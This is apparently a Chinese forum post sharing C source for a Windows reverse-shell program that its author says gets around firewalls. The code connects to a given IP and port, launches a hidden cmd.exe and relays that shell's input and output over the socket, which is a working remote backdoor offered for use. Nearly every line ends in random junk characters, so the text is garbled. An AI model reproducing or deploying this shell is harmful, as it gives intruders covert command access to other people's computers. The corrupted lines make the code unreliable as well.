这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zn\$6'"
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/* ============================== VZA>ErB
Rebound port in Windows NT FvBnmYnW
By wind,2006/7 %-NG eN8
===============================*/ <bBgevL+_K
#include @Z9>E+udQ
#include mi sPJO&QD
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#pragma comment(lib,"wsock32.lib") Pj*"2
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void OutputShell(); (i^<er q
SOCKET sClient; Jqt|'G3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8.' THLI
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void main(int argc,char **argv) NbhQ-
{ 6uWPIM;
WSADATA stWsaData; Ymg,NkiP0
int nRet; i$'#7U
SOCKADDR_IN stSaiClient,stSaiServer; .[o?qCsw
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if(argc != 3) ~NO'8Mr
{ 1swqs7rR|
printf("Useage:\n\rRebound DestIP DestPort\n"); (R{z3[/u&
return; Vdf~rV
} e= _7Q.cn
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,V=]QHcg
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stSaiClient.sin_family = AF_INET; bRc~e@
stSaiClient.sin_port = htons(0); VK$s+"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n0'"/zyc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %0Ke4c
{ T9Pu V
printf("Bind Socket Failed!\n"); TZ@S?r>^
return; Tn\59 (
} @>hXh
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stSaiServer.sin_family = AF_INET; je~gk6}Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JztSP?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T#R*]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vb8{OD3PK
{ :.NCS`z_
printf("Connect Error!"); hc5iIJ]
return; se]QEd7]7
} ln=:E$jX
OutputShell(); w,zgYX&
} KH76Vts
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void OutputShell() jD'$nKpg
{ W q>qso
char szBuff[1024]; zvP>8[
SECURITY_ATTRIBUTES stSecurityAttributes; #jR1ti)p
OSVERSIONINFO stOsversionInfo; zRF+D+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $8Y|&P
STARTUPINFO stStartupInfo; u-#J!Z<T8
char *szShell; -Mufo.Jz1o
PROCESS_INFORMATION stProcessInformation; a6.0$'
unsigned long lBytesRead; PsoW:t
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N'RUtFqj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C*,PH!$k
stSecurityAttributes.lpSecurityDescriptor = 0; _8nT$!\\
stSecurityAttributes.bInheritHandle = TRUE; $ &fm^1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3D"?|rd~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Av^<_`L:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p3z%Y$!Tm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I=Xj;\b
stStartupInfo.wShowWindow = SW_HIDE; d7Devs
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stStartupInfo.hStdInput = hReadPipe; [+Y;w`;Fq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SB2Ij',
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GetVersionEx(&stOsversionInfo); !7fVO2m T
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switch(stOsversionInfo.dwPlatformId) ?>o|H-R~5Z
{ QF`o%mI
case 1: uNRT@@oCq
szShell = "command.com"; K+J fU
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break; ~'L`RJR
default: H?<ceK'e
szShell = "cmd.exe"; b_j8g{/9
break; ZpQ8KY$5
} ?e+$?8l[3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #mcU);s
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send(sClient,szMsg,77,0); AT]Ty
while(1) TdH~sz
{ 9J'3b <
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h9L/.>CX
if(lBytesRead) GLIP;)h1
{ sOLR *=F{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !`F^LXGA
send(sClient,szBuff,lBytesRead,0); @s/0 .7
} hz_F^gF
else f.y~ Sew
{ `T;Y%"X!
lBytesRead=recv(sClient,szBuff,1024,0); n32.W?9
if(lBytesRead<=0) break; *<nfA}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v\?J$Hdd
} Ffp<|2T2_
} MW6KEiQ"
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return; koAM",5D
}